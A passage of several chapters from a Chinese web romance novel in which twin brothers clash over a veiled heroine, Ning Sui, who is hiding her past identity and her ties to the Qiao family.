他不知道在抽什么风,这个时候打电话,肯定是有事。 但他现在没心情应付陈斌。 他伸手挂断,却不小心点了接听,陈斌第一时间没说话,大概是没想到陆闻之会突然接通。 过了两秒,陈斌低吼出声,“你们陆家太欺负人了!” 陆闻之一愣,这才发现自己不小心接听了电话。 既然这样,也不能再挂断。 陆闻之脸色阴沉,但语气还算客气,“陈叔叔,你有话慢慢说。” 陈斌声音都气得颤抖,“我女儿叫陆勋之出来跟同学聚会,他居然中途抱着一个会所的女人跑了!陆闻之,我还没跟你爷爷说,就是给你们陆家一点面子,现在我联系不上陆勋之,你最好找到他,给我一个交代!” 陆闻之一愣,手指捏紧了手机,声音透着紧张,“他带人去哪儿了?” …… 陆闻之推开门的时候,看到陆勋之像个雕塑似的,站在床尾,一动不动。 他目光飘到病床上,宁穗苍白的脸完全暴露在空气中。 他问过医生,宁穗的身体没大碍,但是精神高度消耗,所以陷入昏睡。 自送医院来,就在睡,陆勋之没吵醒她。 “你跟我出来。”陆勋之突然发声,声音像是被火烫过,沙哑异常。 陆闻之闭了一下眼睛,又看了一眼宁穗,才操控着轮椅,跟着陆勋之出去。 他看着陆勋之的身影在前方,有些恍惚,仿佛回到了小时候的某个时刻。 那时候两兄弟相濡以沫,在陆家这个富丽堂皇的地狱中,夹缝求生。 曾几何时,他俩已经不是一对友兄恭弟? 陆闻之一时想不起来,前方的人突然顿住步子,忽地转身,一记铁拳,重重砸在他的下巴上。 第187章 她认你吗? 陆闻之像是棉布袋一样,被打飞出去,翻倒在地,脸抢到地上,瞬间擦出血印子,渗出血珠。 他勉强撑起来,随意地擦了一把嘴角,血渍抹成一长条,顺着他的嘴角延伸出去。 他这个身子骨,哪里经受得住陆勋之盛怒之下的一拳。 陆闻之无力地嗤笑一声,手肘在身后勉强撑起身子,腿绵软地叠在一起。 “哥,怎么了?这么大火气啊。” 陆闻之的声音还是那么温柔,可温柔在这个时候出现,显得不合时宜。 甚至有几分讽刺。 陆勋之上前,一把抓住他的领子,将人拎起来,铁拳悬在半空,却没有砸下来。 陆闻之抬眼看了一眼他的拳头,视线缓缓挪到陆勋之脸上。 这张脸,跟他的一模一样,却拥有着不同的人生。 他嫉妒的人生。 “哥,要不你打死我,继承我的老婆孩子,要不放开我,不然我老婆醒了,会难受的。” 这句话就像是一把羊角锤,砸在陆勋之的心口上,无情一翻。 他僵硬的心,瞬间皮开肉绽。 砰! 砰!砰! 陆勋之连着落下三拳,陆闻之脸已经不能看了。 陆勋之这才松开他,后者像个布袋一样被丢在地上。 他也无力跌坐下来。 许久,陆勋之才哑声开口,“宁穗就在你身边,为什么不说?” 陆闻之平躺在地上,笑了笑,随即又被血沫子呛到,嘴角留下混合了红色的口水,他抹了一把。 “哥,你说她是宁穗,她认你吗?” 陆勋之愣住,脑海里都是前段日子,宁穗说的那句话。 如果是她,她也不会回来找他。 一股怒火瞬间涌上来,却又无力到不知道该发到哪里。 是陆闻之的错吗? 是宁穗的错吗? 还是他自己的。 …… 宁穗也不知道自己睡了多久,再醒来的时候,天色已经大亮。 她大概是昨晚上浑身紧张,现在浑身肌肉都是痛的。 但更痛的是手,她看着自己的手,发了一会儿呆。 昨晚上是陆勋之带她走的。 她缓缓摸了一下脸,空荡荡的。 秘密守不住了。 宁穗现在有种心如死灰的感觉,反正已经这样了,她竟然不害怕了。 不知道陆勋之会怎么折腾她。 就这么等了一会儿,中间只有医生来复查,说她的情况还不错,手上的伤可以回去养。 宁穗拉住了护士问,“昨晚上送我来的那个人……” 护士一脸懵,“昨晚上不是我当班,不过我听说那人送你来了,就走了。” 走了? 宁穗愣住,难道陆勋之没看到她的脸吗? 也是,昨晚上她那个状况实在吓人,满身满脸都是红的。 当然,主要是那些人的血。 后来唐佳笑来了,看到宁穗的手,眼睛都急红了,“那个乔深真是找死。你放心吧,陆闻之说不会放过他的。” 说到陆闻之,宁穗才反应过来,陆闻之还没来看过她。 “他去哪儿,你知道吗?”这话一问出来,宁穗就觉得有点好笑。 那可是她的准未婚夫,她都不知道去哪儿了。 她的手机昨晚上被乔深收走,也不知道是丢了还是砸了。 “陆闻之给我打了电话,让我来照顾你,他有急事,出国了。” 宁穗点点头,“笑笑,陆勋之可能知道我是谁了。” 唐佳笑愣了愣,“不会吧,陆闻之没提啊。再说,陆勋之要是真知道了,陆闻之更不会在这个节骨眼上出国了,你别多想。” 宁穗抿唇,她也不知道为什么,总觉得现在的情况很不对劲。 …… 陆闻之突然出国,给宁穗发了信息,就连悠悠也带走了。 宁穗挺奇怪的,中间给陆闻之打过几个电话,但不是没人接,就是助理接的。 这很不对劲,最近一次,在助理说完程序化的话之后,宁穗叫住他,“陆闻之是不是出事了?” 不然不会不接她电话。 助理停顿两秒,“没事,小陆总只是这边有些事情要处理。” “那至于不接我的电话?”宁穗才不信,“他要是没事,你让他今天必须给我回电话。” 说完,她就挂断了,又赶紧给疗养院那边打了电话过去。 “一切正常。陆总?没有,他没来过。要是他来,需要跟您讲吗?” 护工的语气很正常,宁穗放了一些心,“好,要是看到他,就私下告诉我。谢谢。” 宁穗心里七上八下的,因为陆闻之,也因为陆勋之。 她出院一个多星期,对方竟然没来找她的麻烦。 这很不像陆勋之。 晚上宁穗接到了陆闻之的电话,听上去对方像是感冒了,声音沙哑,还不时咳嗽,“乖乖,你生气了?” “没有。”宁穗否认。 可下去助理接她电话的时候,可不像没生气。 陆闻之依旧温和笑笑,“乖乖,我在这边有点事情要处理。你放心,我们订婚的事,还如期举行,我一定会赶回去。” 订婚,还能进行吗? 宁穗,“陆勋之知道我的身份了吗?” 陆闻之顿了顿但没正面回答,“乖乖,一切都不会变的,你放心。” 两人又聊了两句悠悠的事,她要回去上学,所以陆闻之带走了她,宁穗没再多问。 毕竟她并不是悠悠的亲生母亲,陆闻之才是她的亲生父亲。 宁穗挂断电话,缩在沙发上,看着空荡荡的房子。 可几天前,这里还热热闹闹的。 过了不知道多久,宁穗昏睡过去。 后来她是被手机震动吵醒的。 不知道哪个群里一直在刷屏聊天。 她迷迷糊糊拿出手机看,还是上次御城豪门圈的那个群。 当时陈瑶和陆勋之的事,就是最早在这个群里爆出来的。 那些人还八卦地@了她和陆闻之,问他们兄弟俩是不是要同时办婚礼。 但这次事情的主角还是没变,陆勋之和陈瑶的照片被爆出来。 陆勋之歪着头弯腰挡住陈瑶,光线不太好,画面有些糊。 但远远一看,两人像是在接吻。 随即还有知情人透露,说他们俩的订婚日期已经定下来。 就在下个星期。 甚至比宁穗和陆闻之的婚期还要提前了半个月。 第188章 故意的 宁穗和陆闻之的订婚礼服做好了,宁穗去看。 “礼服您确认好了的话,我到时候让人送到府上。”经理亲自接待了宁穗。 宁穗点了点头,客气道,“谢谢。” “经理,那边有个客户点名要您过去。”客服过来,叫经理走。 经理有些烦地皱了眉,“没看我这正接待重要客户嘛。” 客服也难为,小声说:“是另一个陆先生。” 经理立刻变了脸。 在御城,能让人这么害怕的,也就一个陆勋之了。 宁穗觉得有些晦气,这都能碰上,她对经理说:“没事,我这边也结束了,你忙吧。” 经理万分感谢,“好的,谢谢沈小姐,那我先过去看看。您要是有什么需要,随时说。” 经理脚步匆匆离开,客服留下陪宁穗。 “这边有后门吗?”宁穗突然问。 客服一愣,摇了摇头,“没有,就一个大门。” “哦。”宁穗也觉得自己问得有点无语,但她现在是真的不想见陆勋之。 客服大概是看出来了,毕竟最近陆勋之和陈瑶的事,闹得沸沸扬扬。 两人火速订婚。 之前陆闻之和宁穗来试礼服的时候,陆勋之还是他们的伴郎人选。 现在伴郎直接抢在他们之间结婚,多少有点不得劲。 豪门里就那些事,什么都想抢个先。 客服恭敬道,“要不我去看看,方便的话,我叫您。” 宁穗挺感激对方,特意看了一眼对方的胸牌,想一会儿回去了,跟经理说一声,表扬下这个客服。 她等了十分钟,客服回来,“沈小姐,您现在走时间正好。” 说得挺委婉的,宁穗听懂了,她赶紧起身,利索地拿上包往外走。 还有几米走到门口,就被人叫住,“沈姐姐?” 这甜美的声音很有辨识度。 是陈瑶。 宁穗闭了闭眼睛,现在再跑是来不及了。 她硬着头皮转过头看向陈瑶,微微挥挥手,“你好。很巧。” 她试图假装自己不知道他们在,不然这故意躲着的样子,实在有点搞笑。 陈瑶穿着漂亮的红色改良版旗袍,她属于比较幼态的身材。 其实不太适合这么大开大合的款式,有点小孩偷大人衣服的既视感。 反倒是宁穗,身材比较玲珑,更能穿出旗袍的韵味。 客服委婉劝过,但陈瑶不听,她说陆勋之喜欢性.感的。 但这衣服不是更衬托出她身材的缺点,恰恰是不够性.感。 没人敢说,这是上帝,还是不好伺候的那种。 陈瑶款步走到宁穗跟前,笑得像只向日葵,“不巧,我是专门来这的。我听陆奶奶说,你和闻之哥定的这。所以我就也来这了。没想到还真碰到了你。” 宁穗的手指缓缓蜷起,不知道陈瑶是什么意思。 但她灵敏地觉察到陈瑶笑容之下的敌意和挑衅。 尤其是这件礼服,跟她那件实在太像。 但又比她那件更加华丽。 两人的订婚仪式,成了一场暗暗的较量。 宁穗并不明白,自己到底哪里得罪了陈瑶,点了点头,“我还有事,就不打扰你们了。” 宁穗话音未落,手臂上一紧,陈瑶直接抓住她,拉着她往门口反向走。 声音是笑着的,但语气很强硬,“不能走,既然碰到了,就帮我们参谋参谋。” 店里面,空调开得很足,宁穗只穿了一件精仿的羊绒衫,挺薄的。 陈瑶手上的力气很大,做过的指甲长长的,用力之下,甚至抠进了宁穗的皮肤。 痛得很。 宁穗顿住步子,扭动手臂,冷声说:“放开,你弄疼我了。” 陈瑶却丝毫没有放开的意思,拐角处走出一双男士的皮鞋。 电光火石之间,陈瑶突然跌倒撞上桌角,正好有个装饰有点尖,刺破了她的衣服。 宁穗愣了愣,她刚才柔着力气,根本没用力。 陈瑶摔倒得莫名其妙,显然是故意的。 宁穗抬眼,正撞见一双冷淡的桃花眼,很淡地扫过她。 “勋之哥,我衣服破了。”陈瑶眼圈红红的,咬了咬下唇,可怜又隐忍的样子,我见犹怜。 宁穗心里想笑,这段位,真的是小姑娘。 “怎么摔倒了?”陆勋之淡淡问,听上去也算是关心,但并没有上前扶陈瑶。 陈瑶站直身子,怯生生地看了一眼宁穗,低着头,小声说:“我不小心的。” 这样子分明再说,是宁穗推的,但她不敢说。 宁穗抬头看了一眼周围,还好这种店,监控多,“有监控,查查就知道了。” 陈瑶脸颊红透了,小心地打量陆勋之。 陆勋之的视线这才又落在宁穗身上,“她又没说是你。你急什么?” 宁穗,“……”倒是护短。 她抿了抿唇,转身要走。 但陈瑶哎呀一声,“我衣服破了,怎么办啊?我就看上这件了,别的都不是现货了。” 她又看向宁穗,小心翼翼地问,“沈姐姐,你的礼服能不能借给我应急啊。我们选的类型差不多。” 宁穗没想到她打的是这个主意。 真有意思。 她看了陈瑶两眼,冷淡道,“我和你不是一个号。” 她戴着面纱,虽然看不清神情,但她头上下微微摆动的弧度也能猜出来。 宁穗是在打量陈瑶的身材。 虽然宁穗没那个意思,但陈瑶认定她是在嘲笑自己的身材不如她的好。 脸颊更红了,气的。 哽咽着声音,问陆勋之,“勋之哥……我怎么办啊?” 宁穗觉得挺可笑的,难不成陆勋之还能替她抢吗? “你的礼服让给陈瑶。” 得,还真能。 宁穗倒是不在乎穿什么,但是衣服都已经选好了,现在换,她上哪儿找一件? 毕竟是要撑场面的东西,不能太次,丢的是陆闻之和陆家的脸。 就算是有别的礼服,她还要找时间来试穿和改寸,她可不想给自己找麻烦。 “我说了,我和她号不一样。”宁穗直接拒绝。 陆勋之眼睛上下扫了几个来回,明显是在打量她的身材。 宁穗心里问候了他几代祖宗。 男人冷哼一声,“你也别对自己的身材太自信。” 宁穗噎住,气笑了,“那是不是还要把陆闻之的礼服也让给你啊?” 第189章 他可不会要脸 宁穗和陆闻之的礼服是情侣设计,分开穿,不但不好看,还不吉利。 宁穗是真的烦了,眼前真是一对颠公颠婆。 可她没想到,陆勋之还能更癫,在明知道她说的是反话的前提下,他说:“可以。” 可以你妹的可以。 宁穗想说能不能要点脸。 但他可是陆勋之,他可不会要脸。 现在再加上一个难缠的陈瑶。 宁穗突然有种往日重现的感觉。 在过去的很多年里,无论宁穗的对立面是谁,陆勋之都是站在对方身边。 好像从来都没有变过。 流水的女人,铁打的陆勋之。 心里冒出一个声音,算了,没必要跟这种人浪费时间。 宁穗深吸一口气,语气更冷淡了几分,“随便。” 说完她转身走了。 到家的时候,经理发来了信息道歉,又顺便发了几个备用的款式过来。 说这都是可以赶工的,一定能赶上宁穗的订婚仪式。 她简单看了看,挑了其中一套还算是比较端庄的。 避开了旗袍。 她对自己的身材确实有自信。 所以不想抢陈瑶的风头。 乔家倒台之前,她只想一步一步完成自己的计划。 挑好之后,她把图片发给了陆闻之,想了想没说今天的事,只说衣服有些问题,又换了一套。 男人对这个没什么要求,只要宁穗同意就行。 陆闻之秒回,说她喜欢就好,顺便说自己等陆勋之订婚的时候,会赶回来。 宁穗没回。 这一晚上宁穗睡得不踏实,梦里乱七八糟的。 半夜还给惊醒了,可一醒来,宁穗又不记得做了什么梦。 被子踢到了床下,宁穗身上都是冷汗,口渴得很。 她抹了一把脸,下床打算去厨房拿点水喝。 刚走下楼梯,就看到沙发上有一个影子,吓得她差点没站稳。 好在客厅角落的台灯开着,好像是故意打开的。 光线落在沙发上,宁穗看清了陆勋之的脸。 他斜靠在沙发上,双手抱在胸前,看上去睡熟了,但眉心一直拧着。 这家伙怎么会跑到这来? 宁穗顾不上多想,转身往回走,动作迅速又轻轻的,生怕吵醒了楼下的人。 刚转身的瞬间,她听到楼下的陆勋之呢喃了一声。 所以声音不大,但她还是敏锐地听清楚,对方是在叫她的名字。 她头都没回,赶紧回了自己房间。 关上房门反锁上,宁穗靠着门口大口喘气,刚才害怕吵醒陆勋之,她甚至憋了气。 好半天宁穗才缓过来,想到自己还没喝水,刚才被陆勋之一下,现在也没胆子下去了,干脆又钻进了被窝。 宁穗也不知道自己过了多久才睡着,总之后半夜也是乱七八糟的梦。 第二天起来,她约好了唐佳笑和王习见面,不得不出去。 穿戴整齐之后,宁穗还特意在面纱之下加了口罩。 想着一会儿下楼再碰上陆勋之,那她就从露台那边的步行梯离开。 但是她轻手轻脚,做贼似的,走到楼梯口时,却发现楼下没人了。 台灯也关着。 好像昨晚上是她的一场梦,陆勋之根本没来。 宁穗有些恍惚,莫非真的是她做梦了吗? 陆勋之跟陈瑶这么如胶似漆,还一心向着陈瑶,怎么可能跑来这里睡觉? 该睡在陈瑶的公寓里才对。 越想越是,宁穗苦笑一声,自己真是有点魔怔了。 她缓了口气,缓步走下楼,刚走到厨房门口,就听到里面有动静。 她还以为是阿姨来给做饭,“我拿着路上吃——”看到厨房里走出来的身影,宁穗瞬间僵住。 真的是陆勋之。 他单手端着考究的咖啡杯,一手抄在兜里,衬衣最上面的扣子解开两颗,就那么松垮垮的,露出好看的锁骨。 看到宁穗,他丝毫不意外,慢悠悠地啜了一口咖啡,“醒了?” 这样子,好像两人多年的老夫老妻一样。 这个念头一冒出来,宁穗瞬间炸毛,“你为什么还在这!” 还? 陆勋之的眉梢高高挑起,嘴角勾起微微的弧度,满是兴味。 宁穗也意识到自己的口误,索性敞开说:“你莫名其妙地出现,我半夜下楼喝水,都被吓一跳。这不是你家,你下次不要随便进来了。” 陆勋之嘴角抿出一条淡淡的弧度,两步上前,微微歪头,“你怕什么?心里有鬼?” 戏谑,挑衅,还有几分漫不经心。 宁穗被他的样子帅了一下。 她甚至冒出一个想法,陆勋之其实早就认出她,是在故意戏耍她。 想到这,宁穗又害怕又不爽,眉心皱起,“无聊。” 丢下这句,宁穗转身离开,没理陆勋之。 刚走出去一步,手腕上一紧,宁穗拧眉看过去,还不等她挣扎撤回。 怀里多了一份早餐袋。 下一秒,男人松开,快到宁穗来不及拒绝。 陆勋之转身去拿自己的外套,快宁穗一步,走出了别墅。 四周顿时安静下来,宁穗有些恍惚。 甚至产生错觉,觉得陆勋之就是在等她醒来,给她拿早餐。 手里的早餐热腾腾,隔着牛皮纸袋,也能觉察到温度。 宁穗的心里有些异样。 乔深的事情发生之后,陆闻之又给宁穗配了司机。 这个司机比之前的还要高大。 当司机是其次,主要还是给宁穗安排的贴身保镖。 但保镖很有分寸,宁穗去见唐佳笑的时候,他都是远远跟着,保持安全和社交距离。 唐佳笑带来了乔深的消息,“听说他前阵子去自己家在郊区的拆迁区,结果双方起了冲突,被一个钉子户给砍了。在重症住到现在了。” 宁穗愣了愣,莫名想到了陆凛之。 唐佳笑神秘地压低了声音,“我也是才知道,我家乔镇,居然跟乔家还是亲戚。” 所以她知道一些内部。 “这件事,没外传,外边几乎没人知道。我就告诉你了,是想让你安心。乔深应该没什么能力再报复你。他能不能活下去还不知道呢。乔家现在乱套了。乔长年心梗也住了一星期院。家里的生意,现在竟然是乔若钰在管。” 宁穗抿唇,“那乔深他妈呢?” 第190章 多亏陆勋之 唐佳笑不明白宁穗为什么会问了乔深的妈,但她也没多想,“说起这个就搞笑了。老头子现在身体不景气,乔若钰也是个厉害的,突然就顶起来了。张怡丽,哦,也就是乔深的母亲,哪里肯放手给乔若钰,她可就是个养女啊。要是被她篡权,就算乔深醒过来,那乔家也要易主了。张怡丽可不是个省油的灯。” “听说当初就是小三带球上位的。” 宁穗放在桌上的手缓缓蜷缩起来。 唐佳笑这才意识到她的不对劲,“穗穗,你认识张怡丽吗?” 宁穗没直接回答唐佳笑的问题,而是反问她,“笑笑,乔镇跟乔长年家关系好吗?” 唐佳笑嗤笑一声,“好个锤子。乔镇家跟乔长年家本来就是两个分支。早年的时候还有些来往。但是乔长年家的人眼睛长在头顶的。” 乔镇家世世代代都是读书人。 从医的,从教的,当科学家的。 本来就不擅长跟商界的人打交道。 更别说,乔长年家这种拜高踩低的了。 所以时间一长,两家就没联系了。 但到底都姓乔,乔深和乔长年先后出事,自然就找到乔镇帮忙。 不过乔镇也只是在职责范围内给他们帮忙,并没有特别照顾。 觉察到什么,唐佳笑试探问,“穗穗,你跟乔家……” 宁穗深吸一口气,“乔长年是我生物学的父亲。” 那乔深就是宁穗同父异母的哥。 唐佳笑嘴大的能装下一颗鸡蛋,“我了个大曹!乔深还真是该死啊!” 自己的亲妹妹都敢下手。 “他不知道。乔长年应该也不知道。”宁穗淡淡道,“当年我妈发现他在外边有小三,甚至还有个比我还大的儿子的时候,就离家出走了。大概是太伤心了,直接给我从乔瑜改名到沈瑜。可惜,没过多久,就出了车祸。我妈死了,我就被送进孤儿院。” 当时车祸一出,宁穗就走丢了,不知道是不是车祸太过惨烈,宁穗有些事不记得了。 后来被孤儿院的院长收留,才有机会活下去。 但是因为她什么都不记得,只记得自己叫沈瑜。 那时候,她妈妈还没来得及去给她正式更名,自然也查不到她是谁。 这些,都是陆闻之后来找到的一些零零散散的信息,加上院长跟宁穗说的一些过往,她拼凑起来的。 到后来她问宁安静的时候,她才知道,当初有人见到她的时候,去告诉过乔长年。 结果没有等来乔长年,等来的却是另一个魔鬼。 …… 唐佳笑的车送去修理,宁穗送唐佳笑回去。 跟乔镇结婚之后,唐佳笑和乔镇就搬进了他们的婚房。 她自己的小房子,干脆出租出去。 不算顶奢,但也是在市里地段好的大平层。 宁穗刚送唐佳笑到小区门口,唐佳笑的手机就响起。 “什么?那我马上过去。”唐佳笑脸色不太好,挂断电话对宁穗说,“王老师进医院了。” 听到这个,宁穗心里咯噔一声。 她回来之后,还没见过王三保。 但是这段日子听唐佳笑和王习提起,知道王三保的身体并不是很好。 自从上次王三保被救回来之后,他的身体就一直处于比较虚弱的状态。 这几年,休养得还算不错,没想到又住院了。 宁穗实在不放心,还是跟着唐佳笑一起去了医院。 到了病房,王三保的情况已经稳定下来,有轻微脑梗的现象,输上液能缓解。 但是需要留院观察一天。 “笑笑,还让你跑一趟,真是不好意思。这是你朋友吗?耽误你们事情了吗?” 师母还是那么温柔,这几年也没太大变化,看到唐佳笑旁边的人戴着面巾,也没有异样的眼神,而是关心。 宁穗心里有些暖。 唐佳笑摇头,“没事,我们本来也忙完了。王老师怎么样?” “没大事,还好发现及时。”师母笑了笑,随即看向门口,“喏,今天还要感谢你呢。” 宁穗顺着她的目光看过去,瞬间愣住。 只见陆勋之站在门口,边往里走,边整理自己挽上去的衬衣袖口。 看到宁穗的时候,他眼神只停顿了半秒,便看向师母,“我又让陆治之看了片子,应该问题不大。但还是留院观察一下比较好。” “好,辛苦了。快坐吧。”师母给陆勋之让座,明显对他还挺热情的。 宁穗和唐佳笑对视一眼,满脸的诧异。 师母看出唐佳笑的脸色不太好,还是好心跟她解释,“刚才勋之正好来给三保送东西,三保不舒服,幸亏勋之看出来像是脑梗前兆,非要拉我们来医院。不然……” 师母轻轻叹口气,这几年,王三保虽然身体不是很强健,但还算稳定。 今晚她也真的吓到了。 所以这会儿对陆勋之格外客气。 唐佳笑没说什么,这个时候再说陆勋之作秀,实在是有点不近人情。 宁穗却陷入沉思,陆勋之为什么会跟王三保来往密切。 他们之前的关系,本来就不太好。 主要还是因为她。 王三保心疼她,而陆勋之对她又不好,自然王三保就看不上陆勋之。 大概是宁穗这个“外人”在,大家没说什么特别的话,就散了。 主要也怕影响王三保和师母休息。 陆勋之走出病房,对唐佳笑说:“给王老师请了护工,还有最好的脑科专家。陆治之在国外,也会实时线上会诊。” 唐佳笑愣了愣,余光瞥宁穗。 真奇怪,跟她说这个干吗。 她跟陆勋之很熟悉吗? 唐佳笑嗯了一声,生硬地说了一句,“谢谢。” 陆勋之点点头,“你们怎么来的?” 唐佳笑怕陆勋之抽风要送他们,抢先说:“小瑜开车送我来的。” 陆勋之哦了一声,“你俩还挺熟的。” “……” “车子停在哪儿?”陆勋之问,“停车场?” “嗯。”唐佳笑不想接话了,怕陆勋之再语出惊人。 拉着宁穗就往外走。 可身后不紧不慢地跟着陆勋之。 两人用眼神蛐蛐,陆勋之大概也是去停车场,走快点,甩掉。 可当她们走到车前的时候,陆勋之长长的影子落在她们车机盖上。 宁穗耐心耗尽,没好气地说:“你跟着我们干什么?” 第191章 你有什么秘密,怕我知道? 陆勋之穿着黑色的羊绒大衣,剪裁良好,衬托得他宽肩窄腰长腿。 在静谧的夜里,看上去特别忧郁又漂亮。 他一双眸子静静看向她,“我没开车,蹭你们的。” 宁穗挺无语的。 现在再拒绝,是不是来不及了? 车上明晃晃的有空位子。 她只能硬着头皮说:“不顺路。” “顺到哪儿算哪儿。”陆勋之却大喇喇地拉开车门上去,根本不给宁穗拒绝的机会。 两个女孩面面相觑,唐佳笑努了努嘴。 宁穗轻轻摇头,让她上车。 唐佳笑很仗义,拉开后边的车门,腿刚迈上去一步。 两道冷涔的视线投过来,她浑身一冷,动作麻利地挪到了副驾驶。 宁穗,“……” 唐佳笑苦着脸,用眼神说,他实在是太可怕了。 宁穗轻轻叹息一声,还是拉开后座的门上车。 但她死命往车门这边靠,离得陆勋之八丈远。 男人也没往她这边看,双手环在胸前,闭上眼睛开始休息。 车子再次开到唐佳笑家,唐佳笑回头看了一眼陆勋之,再看宁穗。 宁穗微微点头,示意她没事。 唐佳笑轻手轻脚地下了车。 车子再次缓缓启动,宁穗想问陆勋之到底要去哪儿。 可他呼吸绵长,看样子是睡着了。 看到他眼底淡淡的青色,宁穗又不太忍心叫醒他。 于是轻声对司机说:“回馨园别院,等他醒了,再送他回去吧。” 车子开回馨园别院,刚停好,宁穗手刚放到车门把手上。 身旁一直熟睡的人,突然醒过来,先她一步开门下车。 宁穗愣在当场。 看着陆勋之进了别墅,她确定陆勋之就是故意的。 她让司机回去休息,自己开门进了别墅,大厅里,陆勋之欣然坐在沙发上,还换了拖鞋,俨然一副在自己家的样子。 真是气人。 宁穗气笑了,“你来这干嘛?” 陆勋之理所当然,“休息。” 宁穗真是服了,“你回自己家啊!” 陆勋之,“我家有鬼。” 说话间,放在茶几上的手机屏幕突然亮起来。 宁穗清楚看到是陈瑶的来电。 陆勋之没接,甚至都没多看一眼。 宁穗轻哼一声,倏地伸手“帮”他接通了电话。 陈瑶甜美的声音在硕大的客厅里回荡,“勋之哥,你什么时候回家啊?” 宁穗缓缓站直身子,双手抱臂看着陆勋之。 男人虽然看不清她的表情,但是她的肢体语言表达得很清晰。 嘲讽,戏谑,还有点看热闹。 陆勋之仰着眸子,一眨不眨地看着宁穗,漫不经心地回复陈瑶,“有事。” “什么事啊?”陈瑶不满,娇滴滴的,像是撒娇,又像是大小姐在发命令,“我在你家门口了,你快回来吧,我等你。” 宁穗不屑地轻哼一声,不想再听两个人打情骂俏,转身要走。 腰上突然一沉,一双手掐住她的细腰,往后一带。 宁穗被拉进宽厚的怀抱,坐在了陆勋之的腿上。 她失声低呼,又瞬间捂住嘴。 空气瞬间凝固。 足足沉寂了三秒钟后,陈瑶吼出声,“你旁边怎么会有女人!是谁!我要弄死她!” 听到这个“死”字,陆勋之瞬间变了脸,长臂一伸,挂断了通话。 宁穗想起身,腰上的手却像大钳子一样死死抓住她。 让她动弹不得。 “你放开我!” “不放。” 宁穗,“……” “我家有鬼,我今晚要留宿。” 怎么会有人这么不要脸。 她微微转头,斜睨着陆勋之,冷笑出声,极尽嘲讽,“你家里有鬼?” 陆勋之,“昂。” “你管未婚妻叫鬼?”宁穗气笑了,“那你算什么鬼?色鬼吗!” 说完宁穗就顿住,她真的是被陆勋之厚颜无耻的样子,给气疯了。 说话都没了分寸。 陆勋之眉梢高高挑起,眼睛极缓慢地眨了眨,微微低头凑近,用气声说:“你说呢。” 夹杂着冷香的气息,喷洒在宁穗的脖颈之上,激起一层粟粒。 空气中弥漫着说不清道不明的氛围。 宁穗呼吸一滞,猛地搡了他一把。 陆勋之顺势松手,宁穗得以脱身。 她气鼓鼓地提起裙子往楼上跑。 一边没好气地说:“你想住就住,但请你住在一楼的客房,不要在客厅装神弄鬼,吓死人!” “你怕什么?”陆勋之突然高声问了一句。 宁穗的步子一顿。 “这么怕我,你心里有鬼啊?”陆勋之又加一句,“还是,你有什么秘密,怕我知道?” 宁穗现在就后悔了,就该用扫把,直接把他赶出去。 宁穗一直躲在自己的卧室里。 自从上次陆勋之误闯了她的房间之后,陆闻之说什么都要她去二楼的主卧住。 好在主卧非常大,宁穗活动空间很够。 她躺在摇椅上,看着窗外,零零散散的,能看到几颗星星。 房门被敲响,宁穗跟没听见似的,一动不动。 声音没了。 又过了几分钟,房门再次被敲响,同时传来做饭阿姨的声音,“沈小姐,吃晚饭吧。” 宁穗顿了顿,还是起身去开门。 做饭阿姨端着托盘给她。 上面是几样小菜,符合她的口味,每样都不多,一人份的量。 “谢谢。”宁穗接过去,又关上了门。 阿姨退出去,走到拐角,看到高大的身影,懒散地靠在墙边,吓了一跳,但还是压了压心跳,小心道,“大少爷。” “怎么说?”陆勋之垂着眸子不知道在想什么。 阿姨如实回答,“就说了谢谢。” “没拒绝吗?”陆勋之问。 阿姨想说,要是拒绝,她现在手里就不会是空的了。 但是想了想明白过来,刚才陆勋之去送饭,宁穗连门都没开。 第二次她去送,宁穗几乎是马上就来开门。 前后隔着不过五分钟,宁穗也不像是睡着的样子。 阿姨突然如鲠在喉,她该说啥?她能说啥? 好在陆勋之并不是真的要她的一个答案,不等她回答,陆勋之便轻轻摆头,示意她离开。 阿姨几乎是撒腿就跑。 太可怕了。 明明长得一样的一张脸,陆闻之明显要和蔼可亲得多。 陆勋之突然叫住她,“等一下。” 阿姨吓得一抖,难不成自己刚才吐槽说出声被听见了? 她讪讪转身,“您、您说。” “把陆闻之的东西都找出来。” 宁穗睡得迷迷糊糊的时候,感觉到有人在摸她的脸颊。 她缓缓睁开眼,借着窗外的月光,看到男人坐在轮椅上。 愣了愣,她哑声开口,“陆闻之,你回来了?” 男人顿了一下,轻轻应声,“嗯。” 第192章 要当几天陆闻之 昏暗中,彼此看不清对方的脸,宁穗又闭上眼,声音懒洋洋的,明显不像白天戒备,“你到底去哪儿了?怎么才回来。” 男人手指轻柔地缠着她的发丝打圈,挠得宁穗有些痒,她缓缓在他的手掌上,蹭了蹭脸。 与白天满身是刺的她完全不同。 “我好困。”宁穗嘟囔了一句,又没了动静。 男人轻轻帮她掖好被子,又等了一会儿。 才轻轻推着轮椅出去。 主卧的门在身后关上。 走廊的飘窗透过来银色的月光,照在男人脸上,半明半暗。 桃花眼微微垂着,他看着自己的手指。 拇指和食指在轻轻来回捻着,仿佛在回味什么。 …… 宁穗这一晚睡得安稳。 躺在床上,看着天花板发呆,突然想到昨晚上好像看到了陆闻之。 她猛地坐起来,拿出手机给陆闻之打电话。 但号码都调出来了,宁穗又顿了顿。 起身换上了衣服,还不忘戴上面巾下楼。 她在楼梯上四处张望,没看到那个讨厌的身影。 但也没看到陆闻之。 厨房那边传来动静,随即做饭阿姨探出半个身子,笑着说:“醒了?我把早饭给你热热,马上能吃。” 宁穗点点头说了谢谢,便缓步走下楼。 等她坐到餐桌前,阿姨也陆续端了吃的出来。 “陆闻之是回来了吗?”宁穗拿起一个菜包,随口问道。 阿姨动作顿了一下,“啊,回、回来了。” 宁穗没注意到她的异样,她点点头,“嗯。” 说话间,一楼的房间门打开,宁穗循声望过去,看到电动轮椅上的人,穿着休闲装,看上去气色不错,就是眼底的乌青有些明显,看上去昨晚这段日子都没怎么睡好。 宁穗微微一笑,“你还真回来了,我昨晚还以为自己在做梦呢。” 阿姨不动声色地瞥了那边一眼,悄悄退了出去。 餐厅里只剩下两个人。 宁穗将早餐递过去,“吃吧,一会儿要去公司吗?” 男人摇头,“不去了,没什么事。” 宁穗迎上他的眸子,对方正一眨不眨地看着她。 她好笑问,“为什么这么看我?昨晚上你也好奇怪,为什么大半夜去我房间?” 男人目光柔和地看着她,片刻后温和一笑,“太久没见你,太想你了。” 宁穗愣了愣,迎上对方的视线,在他好看的眼底,看到波涛汹涌的爱意。 她甚至不敢多看,自己快要溺毙其中,心里某个地方跟着塌了一下。 在过去的五年,两个人一起经历过太多。 